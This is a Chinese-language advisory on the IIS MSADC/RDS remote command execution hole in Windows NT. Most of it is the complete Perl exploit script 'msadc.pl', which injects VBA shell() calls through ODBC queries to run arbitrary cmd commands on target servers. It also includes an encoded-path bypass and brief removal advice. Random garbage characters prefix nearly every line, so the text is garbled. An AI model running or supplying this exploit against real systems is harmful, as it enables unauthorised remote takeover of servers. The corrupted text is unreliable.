IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
>=YQxm}GJ @T)>akEOt 涉及程序:
~`<_xIvrq Microsoft NT server
23'Ac,{ }u.1$Y 描述:
A?H.EZ 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
aj}#~v1
hD,@>ky 详细:
[-2Tj)P
C 如果你没有时间读详细内容的话,就删除:
$o^N_`l c:\Program Files\Common Files\System\Msadc\msadcs.dll
k@Bn}r 有关的安全问题就没有了。
#R#|hw 9iN}v 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
N[wyi&m4 tx]!|x" F 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
M[6WcH0/T 关于利用ODBC远程漏洞的描述,请参看:
]?V2L`/ 9`G}GU]@} http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm !uN_<! T^H`$;\ 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
*wV`7\@ http://www.microsoft.com/security/bulletins/MS99-025faq.asp L87=*_!B; I ka
V g L 这里不再论述。
>:P-3#e* 6B@{X^6y 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
Jqqt@5Ni 8g6G},Y0 /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
`.YMbj#T 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
E[tEW0ub #$v,. Yk o_?A^u #将下面这段保存为txt文件,然后: "perl -x 文件名"
>qci$ 6mC% zXR5 #!perl
V?4G~~F #
*7K)J8kq # MSADC/RDS 'usage' (aka exploit) script
1VB{dgr #
0ae}!LO # by rain.forest.puppy
3/*<i #
$-M' # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
5<Y-?23 # beta test and find errors!
E7j9A` !\|L(Paf use Socket; use Getopt::Std;
;\gHFG} getopts("e:vd:h:XR", \%args);
bf$4Z: Y 5Cl;h^R|m print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
Uc5BNk7<= -4t!k
Aw` if (!defined $args{h} && !defined $args{R}) {
ux1SQ8C * print qq~
OB\jq!" Usage: msadc.pl -h <host> { -d <delay> -X -v }
[-w+ACV~ -h <host> = host you want to scan (ip or domain)
~%u;lr -d <seconds> = delay between calls, default 1 second
*"sDsXo- I -X = dump Index Server path table, if available
"U
iv[8B -v = verbose
\-RVPa8k -e = external dictionary file for step 5
)}4xmf@gl cfUG)-]P~ Or a -R will resume a command session
AHdh]pfH z[De?8=) ~; exit;}
jmva0K},SE 99?:
9g $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
pR7 D3Q:^7 if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
d1n*wVl if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
<amdPo+2D if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
{KM5pK?,BJ $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
'L ]k\GO if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
H05U{vR kUQdi%3yY; if (!defined $args{R}){ $ret = &has_msadc;
NZt
8L? die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
0uS6F8x@ ?V(h@T print "Please type the NT commandline you want to run (cmd /c assumed):\n"
$s!2D"wl n . "cmd /c ";
1n EW'F $in=<STDIN>; chomp $in;
~\[\S!" $command="cmd /c " . $in ;
Dt]*M_ $qfNEAmDf\ if (defined $args{R}) {&load; exit;}
H+Se eC*-/$D print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
Gcd'- 1 &try_btcustmr;
$D~vuA7 uDsof?z print "\nStep 2: Trying to make our own DSN...";
lwp(Pq &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
Ib0@,y S[ c~{)vL0K print "\nStep 3: Trying known DSNs...";
H@BU/{ &known_dsn;
+BkmI\
d/&~IR print "\nStep 4: Trying known .mdbs...";
[qQ~\] &known_mdb;
<wO8=bem cA25FD if (defined $args{e}){
LV$`bZ print "\nStep 5: Trying dictionary of DSN names...";
!&@!:=X, &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
46M?Gfd,X ~+bS D<!b print "Sorry Charley...maybe next time?\n";
P |kfPohI= exit;
)L%[(iI,x 1bpjj'2%x ##############################################################################
wsyAq'%L b%D}mxbS sub sendraw { # ripped and modded from whisker
qn#f:xltu sleep($delay); # it's a DoS on the server! At least on mine...
l]KxUkA+ my ($pstr)=@_;
!;COFR socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
z.] die("Socket problems\n");
aW7)}"j4 if(connect(S,pack "SnA4x8",2,80,$target)){
O`Ge|4 select(S); $|=1;
KImazS^ print $pstr; my @in=<S>;
zua=E2 select(STDOUT); close(S);
GN@(!V#/4 return @in;
K*fh`Kz } else { die("Can't connect...\n"); }}
U8icP+Y o~={M7m ##############################################################################
$C~OV@I ^{w]r5d sub make_header { # make the HTTP request
;_?RPWZ;MO my $msadc=<<EOT
o+
0"@B POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
H?W8_XiN User-Agent: ACTIVEDATA
hF7#i_UN< Host: $ip
4/ M~# Content-Length: $clen
2N[S*#~*e Connection: Keep-Alive
I,wgu:}P#
v{*# ADCClientVersion:01.06
@G:aW\Z Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
N!W2O>VS 6A*k --!ADM!ROX!YOUR!WORLD!
vILq5iR Content-Type: application/x-varg
3v7*@(y Content-Length: $reqlen
H3qM8_GUA o@blvW<v7 EOT
CJ#1j> ; $msadc=~s/\n/\r\n/g;
^E`SR6_cmj return $msadc;}
|XoW
Z,K fC^POLn[f ##############################################################################
PcQqdU^! nK;c@!~pS sub make_req { # make the RDS request
E G3?C my ($switch, $p1, $p2)=@_;
kqyPb$Wy my $req=""; my $t1, $t2, $query, $dsn;
=}7[ypQM`] @h";gN if ($switch==1){ # this is the btcustmr.mdb query
E4dN,^_ F! $query="Select * from Customers where City=" . make_shell();
'+*{u]\ $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
1.y|bB+kB $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
K`#bLCXEV0 N)N\iad^ elsif ($switch==2){ # this is general make table query
y:+4-1 $query="create table AZZ (B int, C varchar(10))";
f*&4d
$dsn="$p1";}
y?*4SLy MH=;[ | N elsif ($switch==3){ # this is general exploit table query
^i!6q9<{e $query="select * from AZZ where C=" . make_shell();
"~^#{q $dsn="$p1";}
-=CZhp U5x&?n< elsif ($switch==4){ # attempt to hork file info from index server
cop \o4ia $query="select path from scope()";
Uel^rfE` $dsn="Provider=MSIDXS;";}
T\Ld)'fNv K,Z_lP_~Vw elsif ($switch==5){ # bad query
N56/\1R $query="select";
\c.MIDp" $dsn="$p1";}
"g>, X[g uDXRw*rTv $t1= make_unicode($query);
eJ
O+MurO $t2= make_unicode($dsn);
^CWxYDG* $req = "\x02\x00\x03\x00";
oUG!=.1}K5 $req.= "\x08\x00" . pack ("S1", length($t1));
K:\db'`` $req.= "\x00\x00" . $t1 ;
k1)=xv#S $req.= "\x08\x00" . pack ("S1", length($t2));
cczV}m2) $req.= "\x00\x00" . $t2 ;
@XRN#_{ $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
iR(jCD?) Y return $req;}
J52- qR/ n~|sMpd,M1 ##############################################################################
&q0s8'qA a-<&(jV sub make_shell { # this makes the shell() statement
/6PL return "'|shell(\"$command\")|'";}
#)hJ.0~3 Bp>Z?"hTe ##############################################################################
ROc)LCA "ABg,^jf sub make_unicode { # quick little function to convert to unicode
MmPLJ my ($in)=@_; my $out;
(^4V]N& for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
heN?lmC return $out;}
3}lT"K c. ;}e:)s ##############################################################################
wz{]CQ 7" wW?/`>@ sub rdo_success { # checks for RDO return success (this is kludge)
>^5UXQr my (@in) = @_; my $base=content_start(@in);
Bc^MZ~+ip if($in[$base]=~/multipart\/mixed/){
,8^QV3 return 1 if( $in[$base+10]=~/^\x09\x00/ );}
ym~ return 0;}
o+j~~P <+\
w .! ##############################################################################
|}Wm,J B(TE?[ # sub make_dsn { # this makes a DSN for us
#2qDn^s my @drives=("c","d","e","f");
,q|;`?R; print "\nMaking DSN: ";
CV
)v6f foreach $drive (@drives) {
SZ'2/#R> print "$drive: ";
[@LA<Z_ my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
"Smek#l "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
+P5\N,,7R . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
PUJkC $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
dNg5#?mzT5 return 0 if $2 eq "404"; # not found/doesn't exist
>.X& v if($2 eq "200") {
Ns}BE H foreach $line (@results) {
)J<VDO:_YA return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
"0ZBPp1q } return 0;}
(o5^@aDr lUJ~_`D ##############################################################################
:,'yHVG\ Svun
RUE-f sub verify_exists {
MJDW-KL- my ($page)=@_;
"f5 neW my @results=sendraw("GET $page HTTP/1.0\n\n");
:3aZ_ return $results[0];}
8,DY0PGP jf
WZLb) ##############################################################################
<<5x"W(,
Un.u{$po sub try_btcustmr {
J+o6*t2| my @drives=("c","d","e","f");
Uxl7O4J@H my @dirs=("winnt","winnt35","winnt351","win","windows");
}S,KUH. #i1z&b#@ foreach $dir (@dirs) {
W8>< print "$dir -> "; # fun status so you can see progress
s`63
y&Z[ foreach $drive (@drives) {
a58]#L~ print "$drive: "; # ditto
:)eU)r"s4 $reqlen=length( make_req(1,$drive,$dir) ) - 28;
4?2$~\
x $reqlenlen=length( "$reqlen" );
8EBy5X}US $clen= 206 + $reqlenlen + $reqlen;
cq#=Vb &hco3HfW my @results=sendraw(make_header() . make_req(1,$drive,$dir));
w$1B|7tX;2 if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
XK=-$2n else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
f(Uo?_as IB%Hv] ##############################################################################
RAUD8Z ~M?^T$5 sub odbc_error {
QGoBugU my (@in)=@_; my $base;
%%h0 H[5* my $base = content_start(@in);
YM<F7tp4 if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
J7Y lmi $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
'i5,2vT0 $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
La9:qpj $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
W0qn$H return $in[$base+4].$in[$base+5].$in[$base+6];}
W#sCvI@ print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
*Q XUy
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
i~sW_f+ $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
Y4j%K~lsY sG K7Uy ##############################################################################
WTX!)H6Zv d"U'\ID2y sub verbose {
! a!^'2 my ($in)=@_;
3:ELYn return if !$verbose;
xwjiNJ Gj print STDOUT "\n$in\n";}
*\"+/ ,JONc9 ##############################################################################
3U!#rz" (\o &Gl sub save {
<#%kmYSL my ($p1, $p2, $p3, $p4)=@_;
4E0 Y= open(OUT, ">rds.save") || print "Problem saving parameters...\n";
l37)
Q print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
RJa1pYK close OUT;}
qw35LyL tuIQiWHbM ##############################################################################
<#>{7" } %Xjg/5G - sub load {
+txHj(Y` my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
U%u%_{- open(IN,"<rds.save") || die("Couldn't open rds.save\n");
Fsi;[be$A @p=<IN>; close(IN);
D wtvtglqV $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
q2}6lf,J
K $target= inet_aton($ip) || die("inet_aton problems");
[Zj6v a print "Resuming to $ip ...";
^nGKuW7\ $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
DR
c-L$bD if($p[1]==1) {
5ji#rIAhxh $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
sMHP=2## $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
uz'MUT(68 my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
\_|g}&}6Y if (rdo_success(@results)){print "Success!\n";}
=}wqo6Bn| else { print "failed\n"; verbose(odbc_error(@results));}}
\VAm4 elsif ($p[1]==3){
ee\xj$, if(run_query("$p[3]")){
M'>8P6O print "Success!\n";} else { print "failed\n"; }}
7rSads elsif ($p[1]==4){
*h4x`luJ if(run_query($drvst . "$p[3]")){
S*w; $`Y print "Success!\n"; } else { print "failed\n"; }}
>4iVVs exit;}
9~ rYLR(v 8L _]_ ##############################################################################
GS&iSjw ipH'}~=ID sub create_table {
K!jMW my ($in)=@_;
)7;E,m<:tO $reqlen=length( make_req(2,$in,"") ) - 28;
gq~6jf> $reqlenlen=length( "$reqlen" );
7I;A5f $clen= 206 + $reqlenlen + $reqlen;
eccJt my @results=sendraw(make_header() . make_req(2,$in,""));
,f)#&}x*2+ return 1 if rdo_success(@results);
0jmPj my $temp= odbc_error(@results); verbose($temp);
Ro:)N:C return 1 if $temp=~/Table 'AZZ' already exists/;
vH)V\V return 0;}
`Ti?hQm/
y@2$sK3K ##############################################################################
/?_5!3K J Gm.2!F=R4A sub known_dsn {
}y&tF'qG # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
linvK.Lf my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
}
3JOC!;; "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
>`o;hTS "banner", "banners", "ads", "ADCDemo", "ADCTest");
#2*6esP klxNGxWAX foreach $dSn (@dsns) {
WNcJ710k27 print ".";
%Gc)$z/Wd next if (!is_access("DSN=$dSn"));
Xn
#v! if(create_table("DSN=$dSn")){
:>3/*"vx?G print "$dSn successful\n";
*EllE+M{n if(run_query("DSN=$dSn")){
r31)Ed$ print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
U C..)9 print "Something's borked. Use verbose next time\n";}}} print "\n";}
7 DW_G TS49{^d$ ##############################################################################
:`<ME/"YE o3,}X@p sub is_access {
`g^b Qx my ($in)=@_;
-APbN(Vi $reqlen=length( make_req(5,$in,"") ) - 28;
0.z\YTZ9 $reqlenlen=length( "$reqlen" );
MNu\=p\Eq $clen= 206 + $reqlenlen + $reqlen;
;nbbKQ]u my @results=sendraw(make_header() . make_req(5,$in,""));
G'0JK+=o my $temp= odbc_error(@results);
,ocAB;K verbose($temp); return 1 if ($temp=~/Microsoft Access/);
i>{.Y}; return 0;}
1^AG/w DM=`hyf(v ##############################################################################
ihBIE Cd'`rs}3 sub run_query {
*RJiHcII my ($in)=@_;
gH:+$FA $reqlen=length( make_req(3,$in,"") ) - 28;
$q 9dkt $reqlenlen=length( "$reqlen" );
$b`~K MO $clen= 206 + $reqlenlen + $reqlen;
y1_z(L;I my @results=sendraw(make_header() . make_req(3,$in,""));
v&r\Z @% return 1 if rdo_success(@results);
~fY\; my $temp= odbc_error(@results); verbose($temp);
6)[gF1 return 0;}
u}eLf'^ZCe #j4jZBOTM ##############################################################################
?4H>1Wkb JN> h: sub known_mdb {
XkEE55#>| my @drives=("c","d","e","f","g");
jSdW?IH my @dirs=("winnt","winnt35","winnt351","win","windows");
,ePl>m:Z
my $dir, $drive, $mdb;
?5<x$YI my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
M+GtUE~" ,lb > # this is sparse, because I don't know of many
^2\-zX!bt my @sysmdbs=( "\\catroot\\icatalog.mdb",
rtC:3fDy "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
O*udV E> "\\system32\\certmdb.mdb",
&@fW6},iW "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
xFp?+a >^J my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
|H&&80I "\\cfusion\\cfapps\\forums\\forums_.mdb",
,u^%[ejH "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
@r3,|tkrz "\\cfusion\\cfapps\\security\\realm_.mdb",
!eA6Ejf "\\cfusion\\cfapps\\security\\data\\realm.mdb",
?L+|b5RS "\\cfusion\\database\\cfexamples.mdb",
bmI6OIWl "\\cfusion\\database\\cfsnippets.mdb",
bu,xIT ^ "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
tNC;CP#R+ "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
^7iP!-w/ "\\cfusion\\brighttiger\\database\\cleam.mdb",
^Fg!.X_ "\\cfusion\\database\\smpolicy.mdb",
oz&RNB.K "\\cfusion\\database\cypress.mdb",
4b
1a? "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
"9O8#i<Nr "\\website\\cgi-win\\dbsample.mdb",
>gf,8flgj "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
P0ZY;/e5h "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
DSL3+%KF# ); #these are just
Q=h37]U+ foreach $drive (@drives) {
Rgb&EnVW foreach $dir (@dirs){
=i:,")W7= foreach $mdb (@sysmdbs) {
{+jO/ZQu5 print ".";
Q3rLCg,; if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
@j'GcN vs print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
6!Uk c'r if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
()(^B}VK print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
0 LQ%tn } else { print "Something's borked. Use verbose next time\n"; }}}}}
CS\8ej}y L|Bjw3K&D foreach $drive (@drives) {
w-P;E!gTt foreach $mdb (@mdbs) {
y,Z2`Zmu print ".";
("P]bU+'> if(create_table($drv . $drive . $dir . $mdb)){
3T~DeqAyw print "\n" . $drive . $dir . $mdb . " successful\n";
c!]Q0ib6 if(run_query($drv . $drive . $dir . $mdb)){
=?[:Nj636 print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
=h,J!0Y } else { print "Something's borked. Use verbose next time\n"; }}}}
\JDxN
}
C=8IQl[^e `*y%[J,I# ##############################################################################
3v>w$6 ih(A l<IS sub hork_idx {
+c' n,O~3 print "\nAttempting to dump Index Server tables...\n";
.\mkgAlyaM print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
o,[Em< $reqlen=length( make_req(4,"","") ) - 28;
~mC>G 4y$a $reqlenlen=length( "$reqlen" );
Dn:1Mtj- $clen= 206 + $reqlenlen + $reqlen;
V<Co!2S my @results=sendraw2(make_header() . make_req(4,"",""));
hQwUwfoe@ if (rdo_success(@results)){
21z@-&Oq my $max=@results; my $c; my %d;
<{IeCir for($c=19; $c<$max; $c++){
TFDzTD $results[$c]=~s/\x00//g;
jKb4d9aX $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
eqk.+~^ $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
=4
NKXP~C $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
$J =`fx $d{"$1$2"}="";}
{=6CL'_ foreach $c (keys %d){ print "$c\n"; }
Qq3>Xv < } else {print "Index server doesn't seem to be installed.\n"; }}
fU|4^p) 9 e;8"rJ?C ##############################################################################
fE1VTGfd: (o4':/es sub dsn_dict {
z-^/<u1p open(IN, "<$args{e}") || die("Can't open external dictionary\n");
ta0 ;:o?/d while(<IN>){
qJ[wVNHh! $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
`.3{ next if (!is_access("DSN=$dSn"));
DWupLJpk;c if(create_table("DSN=$dSn")){
: eFyd`Syw print "$dSn successful\n";
~~}8D" if(run_query("DSN=$dSn")){
]T._TZ" print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
&neB$m3y print "Something's borked. Use verbose next time\n";}}}
{m/KD 'b_ print "\n"; close(IN);}
9F7}1cH7g@ XwDt8TxL ##############################################################################
8@r>`c !im%t9 sub sendraw2 { # ripped and modded from whisker
y(X^wC sleep($delay); # it's a DoS on the server! At least on mine...
?d_vD@+\ my ($pstr)=@_;
q@i.4>x socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
6W9lKD_i die("Socket problems\n");
=yZ6 $ hK if(connect(S,pack "SnA4x8",2,80,$target)){
<K
<|G print "Connected. Getting data";
.p%V]Ka open(OUT,">raw.out"); my @in;
*1h@Jb34 select(S); $|=1; print $pstr;
8i
Ew;I_ while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
)3^#CD close(OUT); select(STDOUT); close(S); return @in;
(dP9`Na] } else { die("Can't connect...\n"); }}
3`Dyrj#! {7.uwIW.1 ##############################################################################
c=aVYQ"2 ,.AXQ#~&` sub content_start { # this will take in the server headers
>nO[5 my (@in)=@_; my $c;
zS'{F>w for ($c=1;$c<500;$c++) {
! q+>'Mt if($in[$c] =~/^\x0d\x0a/){
]CX^!n if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
e#@u&+K/f else { return $c+1; }}}
irMBd8WG return -1;} # it should never get here actually
Ct]? / #J~xKyJi' ##############################################################################
;}'Z2gZB Q}uh`?t sub funky {
wsgT`M'J[ my (@in)=@_; my $error=odbc_error(@in);
3v3`d+;& if($error=~/ADO could not find the specified provider/){
S2?)Sb` print "\nServer returned an ADO miscofiguration message\nAborting.\n";
0aGAF ] exit;}
eBqF@'DQ if($error=~/A Handler is required/){
3935cxT1U print "\nServer has custom handler filters (they most likely are patched)\n";
} [OEtd{ exit;}
H>wXQ5 ?W; if($error=~/specified Handler has denied Access/){
D0yH2[j+ print "\nServer has custom handler filters (they most likely are patched)\n";
T#a6X;9P exit;}}
S"/gZfxer `+(4t4@ew ##############################################################################
7e
/Kh)5G VM+l9z> sub has_msadc {
}]. |7h my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
0G3T.4I my $base=content_start(@results);
a>S-50 return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
tDtqTB} return 0;}
^+Njz{rpG @'"7[k!y; ########################
xLw[
aYy4 ?uXY 6J" aZCxyoh + 解决方案:
(qDJgf4fgn 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
XQcE
ZJ2 2、移除web 目录: /msadc